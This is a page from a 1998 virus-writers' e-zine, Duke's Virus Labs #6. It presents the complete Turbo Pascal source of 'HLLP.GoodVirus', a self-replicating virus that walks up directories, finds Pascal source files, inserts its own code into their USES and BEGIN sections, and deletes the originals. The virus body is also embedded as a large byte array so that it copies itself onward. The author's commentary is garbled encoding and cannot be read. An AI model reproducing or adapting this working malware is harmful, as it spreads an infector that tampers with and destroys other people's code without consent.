- [Duke's Virus Labs #6] - [Page 12] -

HLLP.GoodVirus
(c) by Tankist/SMF

     : HLLP.GoodVirus
         : Tankist/SMF
 ண.   : Turbo Pascal 7.0
 ᮧ : 13.12.98


       .   ,   ࠦ PAS'᪨ 䠩.
 ᪮॥ ਬ ⮣,     ண.  ⨬ ⥪⮬ ਫ
室  (    ? exe'譨,   ࢮ  ᪥
  PAS 室?).

    :
: Good virus (    ᠭ...)
: 
ࠦ: -PAS 䠩  ⮬ ᪥,  饭 (  ⠫  ࠧ)
: ~14
। ⢨:  uses, Uses, ... , useS  USES; ⠢  
                  USES, ᫨ ணࠬ 稭   .
: 13-12-1998
: ᪠

    몮   ஬   㦠( ᠫ   ᥣ 4
 )... ਨ ⠢  .

    ᠥ ᠬ ,  ⠬  ᪠ ᥡ   ࠧ,
 室    ⠫ ,    Begin,   
...

    ⨬ ⥪⮬ ਫ ⥪  ﬨ  ,  砥 
ࠦ(  ᠬ,    譮).

P.S. " ᪠  ⮫쪮..."().   ⨬  ᮣᥭ.   ᠫ
"쪮  ᪠  ⮫쪮..."

===== Cut here =====
{This}                                      {⮡ ᥡ  ࠦ}
uses dos;
var
 sr:SearchRec;

{$i-}
procedure zar;                              { }
const numzar:byte=0;
 procedure infect(fl:SearchRec);            {ࠦ}
 const
  ms='{This file was infected by a good virus.'#13#10'He is very good. Please, do not kill him}'#13#10;
                                            {䨪}
  alf:string='BEGIN';                       {祢 ᫮}
  alf2:set of char=[#9,#32,#10,#13];
  a2=#9'zar';
  a3='uses dos;'#13#10;
  a4=',dos';
  a5:string='USES';
  a6:string='DOS';
                                            {... ᮡ⢥ ᮭ}
  b1:array[1..4324]of byte=(41,59,13,10,32,32,99,49,58,97,114,114,97,121,91,49,46,46,48,51,55,54,93,111,102,32,98,121,116,101
,61,40,13,10,49,50,51,44,51,54,44,49,48,53,44,52,53,44,49,50,53,44,49,51,44,49,48,44,49,49
,50,44,49,49,52,44,49,49,49,44,57,57,44,49,48,49,44,49,48,48,44,49,49,55,44,49,49,52,44,49
,48,49,44,51,50,44,49,50,50,44,57,55,44,49,49,52,44,53,57,44,49,51,44,49,48,44,57,57,44,49
,49,49,44,49,49,48,44,49,49,53,44,49,49,54,44,51,50,44,49,49,48,13,10,44,49,49,55,44,49,48
,57,44,49,50,50,44,57,55,44,49,49,52,44,53,56,44,57,56,44,49,50,49,44,49,49,54,44,49,48,49
,44,54,49,44,52,56,44,53,57,44,49,51,44,49,48,44,51,50,44,49,49,50,44,49,49,52,44,49,49,49
,44,57,57,44,49,48,49,44,49,48,48,44,49,49,55,44,49,49,52,44,49,48,49,44,51,50,44,49,48,53
,44,49,49,48,44,49,48,50,44,49,48,49,13,10,44,57,57,44,49,49,54,44,52,48,44,49,48,50,44,49
,48,56,44,53,56,44,56,51,44,49,48,49,44,57,55,44,49,49,52,44,57,57,44,49,48,52,44,56,50,44
,49,48,49,44,57,57,44,52,49,44,53,57,44,49,51,44,49,48,44,51,50,44,57,57,44,49,49,49,44,49
,49,48,44,49,49,53,44,49,49,54,44,49,51,44,49,48,44,51,50,44,51,50,44,49,48,57,13,10,44,49
,49,53,44,54,49,44,51,57,44,49,50,51,44,56,52,44,49,48,52,44,49,48,53,44,49,49,53,44,51,50
,44,49,48,50,44,49,48,53,44,49,48,56,44,49,48,49,44,51,50,44,49,49,57,44,57,55,44,49,49,53
,44,51,50,44,49,48,53,44,49,49,48,44,49,48,50,44,49,48,49,44,57,57,44,49,49,54,44,49,48,49
,44,49,48,48,44,51,50,44,57,56,44,49,50,49,44,51,50,13,10,44,57,55,44,51,50,44,49,48,51,44
,49,49,49,44,49,49,49,44,49,48,48,44,51,50,44,49,49,56,44,49,48,53,44,49,49,52,44,49,49,55
,44,49,49,53,44,52,54,44,51,57,44,51,53,44,52,57,44,53,49,44,51,53,44,52,57,44,52,56,44,51
,57,44,55,50,44,49,48,49,44,51,50,44,49,48,53,44,49,49,53,44,51,50,44,49,49,56,44,49,48,49
,44,49,49,52,13,10,44,49,50,49,44,51,50,44,49,48,51,44,49,49,49,44,49,49,49,44,49,48,48,44
,52,54,44,51,50,44,56,48,44,49,48,56,44,49,48,49,44,57,55,44,49,49,53,44,49,48,49,44,52,52
,44,51,50,44,49,48,48,44,49,49,49,44,51,50,44,49,49,48,44,49,49,49,44,49,49,54,44,51,50,44
,49,48,55,44,49,48,53,44,49,48,56,44,49,48,56,44,51,50,44,49,48,52,44,49,48,53,13,10,44,49
,48,57,44,49,50,53,44,51,57,44,51,53,44,52,57,44,53,49,44,51,53,44,52,57,44,52,56,44,53,57
,44,49,51,44,49,48,44,51,50,44,51,50,44,57,55,44,49,48,56,44,49,48,50,44,53,56,44,49,49,53
,44,49,49,54,44,49,49,52,44,49,48,53,44,49,49,48,44,49,48,51,44,54,49,44,51,57,44,54,54,44
,54,57,44,55,49,44,55,51,13,10,44,55,56,44,51,57,44,53,57,44,49,51,44,49,48,44,51,50,44,51
,50,44,57,55,44,49,48,56,44,49,48,50,44,53,48,44,53,56,44,49,49,53,44,49,48,49,44,49,49,54
,44,51,50,44,49,49,49,44,49,48,50,44,51,50,44,57,57,44,49,48,52,44,57,55,44,49,49,52,44,54
,49,44,57,49,44,51,53,44,53,55,44,52,52,44,51,53,44,53,49,13,10,44,53,48,44,52,52,44,51,53
,44,52,57,44,52,56,44,52,52,44,51,53,44,52,57,44,53,49,44,57,51,44,53,57,44,49,51,44,49,48
,44,51,50,44,51,50,44,57,55,44,53,48,44,54,49,44,51,53,44,53,55,44,51,57,44,49,50,50,44,57
,55,44,49,49,52,44,51,57,44,53,57,44,49,51,44,49,48,44,51,50,44,51,50,13,10,44,57,55,44,53
,49,44,54,49,44,51,57,44,49,49,55,44,49,49,53,44,49,48,49,44,49,49,53,44,51,50,44,49,48,48
,44,49,49,49,44,49,49,53,44,53,57,44,51,57,44,51,53,44,52,57,44,53,49,44,51,53,44,52,57,44
,52,56,44,53,57,44,49,51,44,49,48,44,51,50,44,51,50,44,57,55,44,53,50,44,54,49,44,51,57,44
,52,52,13,10,44,49,48,48,44,49,49,49,44,49,49,53,44,51,57,44,53,57,44,49,51,44,49,48,44,51
,50,44,51,50,44,57,55,44,53,51,44,53,56,44,49,49,53,44,49,49,54,44,49,49,52,44,49,48,53,44
,49,49,48,44,49,48,51,44,54,49,44,51,57,44,56,53,44,56,51,44,54,57,44,56,51,44,51,57,44,53
,57,44,49,51,44,49,48,44,51,50,44,51,50,13,10,44,57,55,44,53,52,44,53,56,44,49,49,53,44,49
,49,54,44,49,49,52,44,49,48,53,44,49,49,48,44,49,48,51,44,54,49,44,51,57,44,54,56,44,55,57
,44,56,51,44,51,57,44,53,57,44,49,51,44,49,48,44,51,50,44,51,50,44,57,56,44,52,57,44,53,56
,44,57,55,44,49,49,52,44,49,49,52,44,57,55,44,49,50,49,44,57,49,44,52,57,13,10,44,52,54,44
,52,54,44,53,50,44,53,49,44,53,48,44,53,50,44,57,51,44,49,49,49,44,49,48,50,44,51,50,44,57
,56,44,49,50,49,44,49,49,54,44,49,48,49,44,54,49,44,52,48,41,59,13,10,32,118,97,114,13,10,32
,32,102,58,102,105,108,101,32,111,102,32,99,104,97,114,59,13,10,32,32,99,58,99,104,97,114,59,13,10,32
,32,115,58,115,116,114,105,110,103,59,13,10,32,32,108,44,108,50,58,119,111,114,100,59,13,10,13,10,32,32
,112,114,111,99,101,100,117,114,101,32,105,110,102,59,13,10,32,32,118,97,114,13,10,32,32,32,103,58,102,105
,108,101,32,111,102,32,99,104,97,114,59,13,10,32,32,32,105,58,119,111,114,100,59,13,10,13,10,32,32,32
,112,114,111,99,101,100,117,114,101,32,119,114,105,116,101,115,40,115,58,115,116,114,105,110,103,41,59,13,10,32
,32,32,118,97,114,32,105,58,119,111,114,100,59,13,10,32,32,32,98,101,103,105,110,13,10,32,32,32,32,102
,111,114,32,105,58,61,49,32,116,111,32,108,101,110,103,116,104,40,115,41,32,100,111,13,10,32,32,32,32,32
,119,114,105,116,101,40,103,44,115,91,105,93,41,59,13,10,32,32,32,101,110,100,59,13,10,13,10,32,32,32
,112,114,111,99,101,100,117,114,101,32,119,114,105,116,101,115,50,40,118,97,114,32,115,58,97,114,114,97,121,32
,111,102,32,98,121,116,101,41,59,13,10,32,32,32,118,97,114,32,105,58,119,111,114,100,59,13,10,32,32,32
,98,101,103,105,110,13,10,32,32,32,32,102,111,114,32,105,58,61,48,32,116,111,32,115,105,122,101,111,102,40
,115,41,45,49,32,100,111,13,10,32,32,32,32,32,119,114,105,116,101,40,103,44,99,104,97,114,40,115,91,105
,93,41,41,59,13,10,32,32,32,101,110,100,59,13,10,13,10,32,32,32,112,114,111,99,101,100,117,114,101,32
,119,114,105,116,101,115,51,40,118,97,114,32,115,58,97,114,114,97,121,32,111,102,32,98,121,116,101,41,59,13
,10,32,32,32,118,97,114,32,105,58,119,111,114,100,59,13,10,32,32,32,32,32,32,32,99,58,115,116,114,105
,110,103,59,13,10,32,32,32,98,101,103,105,110,13,10,32,32,32,32,115,116,114,40,115,91,48,93,44,99,41
,59,13,10,32,32,32,32,119,114,105,116,101,115,40,99,41,59,13,10,32,32,32,32,102,111,114,32,105,58,61
,49,32,116,111,32,115,105,122,101,111,102,40,115,41,45,49,32,100,111,13,10,32,32,32,32,32,98,101,103,105
,110,13,10,32,32,32,32,32,32,115,116,114,40,115,91,105,93,44,99,41,59,13,10,32,32,32,32,32,32,119
,114,105,116,101,115,40,39,44,39,43,99,41,59,13,10,32,32,32,32,32,32,105,102,32,105,32,109,111,100,32
,51,48,61,48,32,116,104,101,110,32,119,114,105,116,101,115,40,35,49,51,35,49,48,41,59,13,10,32,32,32
,32,32,101,110,100,59,13,10,32,32,32,101,110,100,59,13,10,13,10,32,32,108,97,98,101,108,32,49,59,13
,10,32,32,98,101,103,105,110,13,10,32,32,32,105,110,99,40,110,117,109,122,97,114,41,59,13,10,32,32,32
,114,101,110,97,109,101,40,102,44,39,118,114,46,116,120,116,39,41,59,13,10,32,32,32,114,101,115,101,116,40
,102,41,59,13,10,32,32,32,97,115,115,105,103,110,40,103,44,102,108,46,110,97,109,101,41,59,13,10,32,32
,32,114,101,119,114,105,116,101,40,103,41,59,13,10,13,10,32,32,32,119,114,105,116,101,115,40,109,115,41,59
,13,10,32,32,32,108,50,58,61,48,59,13,10,32,32,32,115,58,61,39,39,59,13,10,32,32,32,114,101,112
,101,97,116,13,10,32,32,32,32,105,110,99,40,108,50,41,59,13,10,32,32,32,32,114,101,97,100,40,102,44
,99,41,59,13,10,32,32,32,32,115,58,61,115,43,99,59,13,10,32,32,32,117,110,116,105,108,32,110,111,116
,40,99,32,105,110,32,97,108,102,50,41,59,13,10,32,32,32,100,101,99,40,115,91,48,93,41,59,13,10,32
,32,32,119,114,105,116,101,115,40,115,41,59,13,10,32,32,32,115,58,61,39,39,59,13,10,13,10,32,32,32
,114,101,112,101,97,116,13,10,32,32,32,32,99,58,61,117,112,99,97,115,101,40,99,41,59,13,10,32,32,32
,32,105,102,32,99,61,97,53,91,108,101,110,103,116,104,40,115,41,43,49,93,32,116,104,101,110,32,115,58,61
,115,43,99,13,10,32,32,32,32,101,108,115,101,13,10,32,32,32,32,32,98,101,103,105,110,13,10,32,32,32
,32,32,32,115,58,61,115,43,99,59,13,10,32,32,32,32,32,32,119,114,105,116,101,115,40,115,41,59,13,10
,32,32,32,32,32,32,119,114,105,116,101,115,40,97,51,41,59,13,10,32,32,32,32,32,32,98,114,101,97,107
,59,13,10,32,32,32,32,32,101,110,100,59,13,10,13,10,32,32,32,32,105,102,32,115,61,97,53,32,116,104
,101,110,13,10,32,32,32,32,32,98,101,103,105,110,13,10,32,32,32,32,32,32,119,114,105,116,101,115,40,115
,41,59,13,10,32,32,32,32,32,32,105,110,99,40,108,50,41,59,13,10,32,32,32,32,32,32,114,101,97,100
,40,102,44,99,41,59,13,10,32,32,32,32,32,32,115,58,61,39,39,59,13,10,32,32,32,32,32,32,114,101
,112,101,97,116,13,10,32,32,32,32,32,32,32,105,102,32,117,112,99,97,115,101,40,99,41,61,97,54,91,108
,101,110,103,116,104,40,115,41,43,49,93,32,116,104,101,110,32,115,58,61,115,43,117,112,99,97,115,101,40,99
,41,13,10,32,32,32,32,32,32,32,101,108,115,101,32,115,58,61,39,39,59,13,10,32,32,32,32,32,32,32
,105,102,32,115,61,97,54,32,116,104,101,110,32,103,111,116,111,32,49,59,13,10,32,32,32,32,32,32,32,119
,114,105,116,101,40,103,44,99,41,59,13,10,32,32,32,32,32,32,32,105,110,99,40,108,50,41,59,13,10,32
,32,32,32,32,32,32,114,101,97,100,40,102,44,99,41,59,13,10,32,32,32,32,32,32,117,110,116,105,108,32
,99,61,39,59,39,59,13,10,32,32,32,32,32,32,119,114,105,116,101,115,40,97,52,41,59,13,10,32,49,58
,59,32,32,119,114,105,116,101,40,103,44,99,41,59,13,10,32,32,32,32,32,32,98,114,101,97,107,59,13,10
,32,32,32,32,32,101,110,100,59,13,10,32,32,32,32,105,110,99,40,108,50,41,59,13,10,32,32,32,32,114
,101,97,100,40,102,44,99,41,59,13,10,32,32,32,117,110,116,105,108,32,101,111,102,40,102,41,59,13,10,13
,10,32,32,32,119,104,105,108,101,32,108,50,60,108,45,53,32,100,111,13,10,32,32,32,32,98,101,103,105,110
,13,10,32,32,32,32,32,105,110,99,40,108,50,41,59,13,10,32,32,32,32,32,114,101,97,100,40,102,44,99
,41,59,13,10,32,32,32,32,32,119,114,105,116,101,40,103,44,99,41,59,13,10,32,32,32,32,101,110,100,59
,13,10,32,32,32,119,114,105,116,101,115,50,40,99,49,41,59,13,10,32,32,32,119,114,105,116,101,115,51,40
,98,49,41,59,13,10,32,32,32,119,114,105,116,101,115,50,40,98,49,41,59,13,10,32,32,32,102,111,114,32
,105,58,61,49,32,116,111,32,53,32,100,111,13,10,32,32,32,32,98,101,103,105,110,13,10,32,32,32,32,32
,114,101,97,100,40,102,44,99,41,59,13,10,32,32,32,32,32,119,114,105,116,101,40,103,44,99,41,59,13,10
,32,32,32,32,101,110,100,59,13,10,32,32,32,119,114,105,116,101,115,40,97,50,41,59,13,10,13,10,32,32
,32,114,101,112,101,97,116,13,10,32,32,32,32,114,101,97,100,40,102,44,99,41,59,13,10,32,32,32,32,119
,114,105,116,101,40,103,44,99,41,59,13,10,32,32,32,117,110,116,105,108,32,101,111,102,40,102,41,59,13,10
,32,32,32,99,108,111,115,101,40,102,41,59,13,10,32,32,32,99,108,111,115,101,40,103,41,59,13,10,32,32
,32,101,114,97,115,101,40,102,41,59,13,10,32,32,101,110,100,59,13,10,13,10,32,98,101,103,105,110,13,10
,32,32,97,115,115,105,103,110,40,102,44,102,108,46,110,97,109,101,41,59,13,10,32,32,114,101,115,101,116,40
,102,41,59,13,10,32,32,114,101,97,100,40,102,44,99,41,59,13,10,32,32,115,58,61,99,59,13,10,32,32
,114,101,97,100,40,102,44,99,41,59,13,10,32,32,115,58,61,115,43,99,59,13,10,32,32,114,101,97,100,40
,102,44,99,41,59,13,10,32,32,105,102,32,115,43,99,61,39,123,84,104,39,32,116,104,101,110,13,10,32,32
,32,98,101,103,105,110,13,10,32,32,32,32,99,108,111,115,101,40,102,41,59,13,10,32,32,32,32,101,120,105
,116,59,13,10,32,32,32,101,110,100,59,13,10,13,10,32,32,115,101,101,107,40,102,44,48,41,59,13,10,32
,32,115,58,61,39,39,59,13,10,32,32,108,58,61,48,59,13,10,32,32,114,101,112,101,97,116,13,10,32,32
,32,105,110,99,40,108,41,59,13,10,32,32,32,114,101,97,100,40,102,44,99,41,59,13,10,32,32,32,99,58
,61,117,112,99,97,115,101,40,99,41,59,13,10,32,32,32,105,102,32,99,61,97,108,102,91,108,101,110,103,116
,104,40,115,41,43,49,93,32,116,104,101,110,32,115,58,61,115,43,99,13,10,32,32,32,101,108,115,101,32,115
,58,61,39,39,59,13,10,32,32,32,105,102,32,115,61,97,108,102,32,116,104,101,110,13,10,32,32,32,32,98
,101,103,105,110,13,10,32,32,32,32,32,114,101,97,100,40,102,44,99,41,59,13,10,32,32,32,32,32,105,102
,32,99,61,35,57,32,116,104,101,110,32,101,120,105,116,59,13,10,32,32,32,32,32,99,108,111,115,101,40,102
,41,59,13,10,32,32,32,32,32,105,110,102,59,13,10,32,32,32,32,32,101,120,105,116,59,13,10,32,32,32
,32,101,110,100,59,13,10,32,32,117,110,116,105,108,32,101,111,102,40,102,41,59,13,10,32,101,110,100,59,13
,10,13,10,32,112,114,111,99,101,100,117,114,101,32,122,97,114,97,108,108,59,13,10,32,118,97,114,13,10,32
,32,102,108,58,115,101,97,114,99,104,114,101,99,59,13,10,32,98,101,103,105,110,13,10,32,32,70,105,110,100
,70,105,114,115,116,40,39,42,46,80,65,83,39,44,36,51,70,44,32,102,108,41,59,13,10,32,32,119,104,105
,108,101,32,100,111,115,101,114,114,111,114,61,48,32,100,111,13,10,32,32,32,98,101,103,105,110,13,10,32,32
,32,32,105,110,102,101,99,116,40,102,108,41,59,13,10,32,32,32,32,102,105,110,100,110,101,120,116,40,102,108
,41,59,13,10,32,32,32,101,110,100,59,13,10,32,101,110,100,59,13,10,13,10,118,97,114,13,10,32,115,58
,115,116,114,105,110,103,91,54,52,93,59,13,10,32,102,108,58,115,101,97,114,99,104,114,101,99,59,13,10,98
,101,103,105,110,13,10,32,103,101,116,100,105,114,40,48,44,115,41,59,13,10,32,99,104,100,105,114,40,39,46
,46,39,41,59,13,10,32,105,102,32,105,111,114,101,115,117,108,116,60,62,48,32,116,104,101,110,13,10,32,32
,98,101,103,105,110,13,10,32,32,32,99,104,100,105,114,40,115,41,59,13,10,32,32,32,101,120,105,116,59,13
,10,32,32,101,110,100,59,13,10,32,102,105,110,100,102,105,114,115,116,40,39,42,39,44,36,49,48,44,102,108
,41,59,13,10,32,102,105,110,100,110,101,120,116,40,102,108,41,59,13,10,32,102,105,110,100,110,101,120,116,40
,102,108,41,59,13,10,32,114,101,112,101,97,116,13,10,32,32,99,104,100,105,114,40,102,108,46,110,97,109,101
,41,59,13,10,32,32,122,97,114,97,108,108,59,13,10,32,32,99,104,100,105,114,40,39,46,46,39,41,59,13
,10,32,32,102,105,110,100,110,101,120,116,40,102,108,41,59,13,10,32,32,105,102,32,100,111,115,101,114,114,111
,114,60,62,48,32,116,104,101,110,13,10,32,32,32,98,101,103,105,110,13,10,32,32,32,32,99,104,100,105,114
,40,39,46,46,39,41,59,13,10,32,32,32,32,105,102,32,105,111,114,101,115,117,108,116,60,62,48,32,116,104
,101,110,13,10,32,32,32,32,32,98,101,103,105,110,13,10,32,32,32,32,32,32,99,104,100,105,114,40,115,41
,59,13,10,32,32,32,32,32,32,101,120,105,116,59,13,10,32,32,32,32,32,101,110,100,59,13,10,32,32,32
,32,102,105,110,100,102,105,114,115,116,40,39,42,39,44,36,49,48,44,102,108,41,59,13,10,32,32,32,32,102
,105,110,100,110,101,120,116,40,102,108,41,59,13,10,32,32,32,32,102,105,110,100,110,101,120,116,40,102,108,41
,59,13,10,32,32,32,101,110,100,59,13,10,32,117,110,116,105,108,32,110,117,109,122,97,114,62,48,59,13,10
,101,110,100,59);
  c1:array[1..0376]of byte=(
123,36,105,45,125,13,10,112,114,111,99,101,100,117,114,101,32,122,97,114,59,13,10,99,111,110,115,116,32,110
,117,109,122,97,114,58,98,121,116,101,61,48,59,13,10,32,112,114,111,99,101,100,117,114,101,32,105,110,102,101
,99,116,40,102,108,58,83,101,97,114,99,104,82,101,99,41,59,13,10,32,99,111,110,115,116,13,10,32,32,109
,115,61,39,123,84,104,105,115,32,102,105,108,101,32,119,97,115,32,105,110,102,101,99,116,101,100,32,98,121,32
,97,32,103,111,111,100,32,118,105,114,117,115,46,39,35,49,51,35,49,48,39,72,101,32,105,115,32,118,101,114
,121,32,103,111,111,100,46,32,80,108,101,97,115,101,44,32,100,111,32,110,111,116,32,107,105,108,108,32,104,105
,109,125,39,35,49,51,35,49,48,59,13,10,32,32,97,108,102,58,115,116,114,105,110,103,61,39,66,69,71,73
,78,39,59,13,10,32,32,97,108,102,50,58,115,101,116,32,111,102,32,99,104,97,114,61,91,35,57,44,35,51
,50,44,35,49,48,44,35,49,51,93,59,13,10,32,32,97,50,61,35,57,39,122,97,114,39,59,13,10,32,32
,97,51,61,39,117,115,101,115,32,100,111,115,59,39,35,49,51,35,49,48,59,13,10,32,32,97,52,61,39,44
,100,111,115,39,59,13,10,32,32,97,53,58,115,116,114,105,110,103,61,39,85,83,69,83,39,59,13,10,32,32
,97,54,58,115,116,114,105,110,103,61,39,68,79,83,39,59,13,10,32,32,98,49,58,97,114,114,97,121,91,49
,46,46,52,51,50,52,93,111,102,32,98,121,116,101,61,40);
 var
  f:file of char;                           {....}
  c:char;
  s:string;
  l,l2:word;

  procedure inf;
  var
   g:file of char;
   i:word;

   procedure writes(s:string);              { s  g}
   var i:word;
   begin
    for i:=1 to length(s) do
     write(g,s[i]);
   end;

   procedure writes2(var s:array of byte);  { s  ப}
   var i:word;
   begin
    for i:=0 to sizeof(s)-1 do
     write(g,char(s[i]));
   end;

   procedure writes3(var s:array of byte);  { s  ᨢ}
   var i:word;
       c:string;
   begin
    str(s[0],c);
    writes(c);
    for i:=1 to sizeof(s)-1 do
     begin
      str(s[i],c);
      writes(','+c);
      if i mod 30=0 then writes(#13#10);
     end;
   end;

  label 1;
  begin
   inc(numzar);                             {ࠧ ⠪...  ࠩ  ⠫}
   rename(f,'vr.txt');
   reset(f);
   assign(g,fl.name);
   rewrite(g);

   writes(ms);                              {ᠫ }
   l2:=0;
   s:='';
   repeat
    inc(l2);
    read(f,c);
    s:=s+c;
   until not(c in alf2);                    {諨 - 饥}
   dec(s[0]);
   writes(s);                               {ᠫ  饥}
   s:='';

   repeat                                   {饬 Uses}
    c:=upcase(c);
    if c=a5[length(s)+1] then s:=s+c
    else
     begin
      s:=s+c;
      writes(s);
      writes(a3);
      break;
     end;

    if s=a5 then                            {諨 Uses}
     begin
      writes(s);
      inc(l2);
      read(f,c);
      s:='';
      repeat                                {饬 Dos}
       if upcase(c)=a6[length(s)+1] then s:=s+upcase(c)
       else s:='';
       if s=a6 then goto 1;                 {諨 Dos}
       write(g,c);
       inc(l2);
       read(f,c);
      until c=';';
      writes(a4);                           { 諨 Dos=>}
 1:;  write(g,c);
      break;
     end;
    inc(l2);
    read(f,c);
   until eof(f);

   while l2<l-5 do                          {९뢠 砫}
    begin
     inc(l2);
     read(f,c);
     write(g,c);
    end;
   writes2(c1);                             {襬 ᥡ}
   writes3(b1);
   writes2(b1);
   for i:=1 to 5 do                         {襬 Begin}
    begin
     read(f,c);
     write(g,c);
    end;
   writes(a2);                              {襬 맮 ᥡ}

   repeat
    read(f,c);
    write(g,c);
   until eof(f);                            {뢠 ⠢襥}
   close(f);
   close(g);
   erase(f);
  end;

 begin
  assign(f,fl.name);
  reset(f);
  read(f,c);
  s:=c;
  read(f,c);
  s:=s+c;
  read(f,c);
  if s+c='{Th' then                         { ࠦ?}
   begin
    close(f);
    exit;
   end;

  seek(f,0);
  s:='';
  l:=0;
  repeat                                   {饬 Begin}
   inc(l);
   read(f,c);
   c:=upcase(c);
   if c=alf[length(s)+1] then s:=s+c
   else s:='';
   if s=alf then
    begin
     read(f,c);
     if c=#9 then exit;                    { ࠦ?}
     close(f);
     inf;
     exit;
    end;
  until eof(f);
 end;

 procedure zarall;                         { 䠩}
 var
  fl:searchrec;
 begin
  FindFirst('*.PAS',$3F, fl);
  while doserror=0 do
   begin
    infect(fl);
    findnext(fl);
   end;
 end;

var
 s:string[64];
 fl:searchrec;
begin
 getdir(0,s);
 chdir('..');
 if ioresult<>0 then
  begin
   chdir(s);
   exit;
  end;
 findfirst('*',$10,fl);
 findnext(fl);                             {ய᪠   ⠫}
 findnext(fl);
 repeat
  chdir(fl.name);
  zarall;
  chdir('..');
  findnext(fl);
  if doserror<>0 then
   begin
    chdir('..');
    if ioresult<>0 then
     begin
      chdir(s);
      exit;
     end;
    findfirst('*',$10,fl);
    findnext(fl);
    findnext(fl);
   end;
 until numzar>0;
end;

begin
 zar;
end.
===== Cut here =====
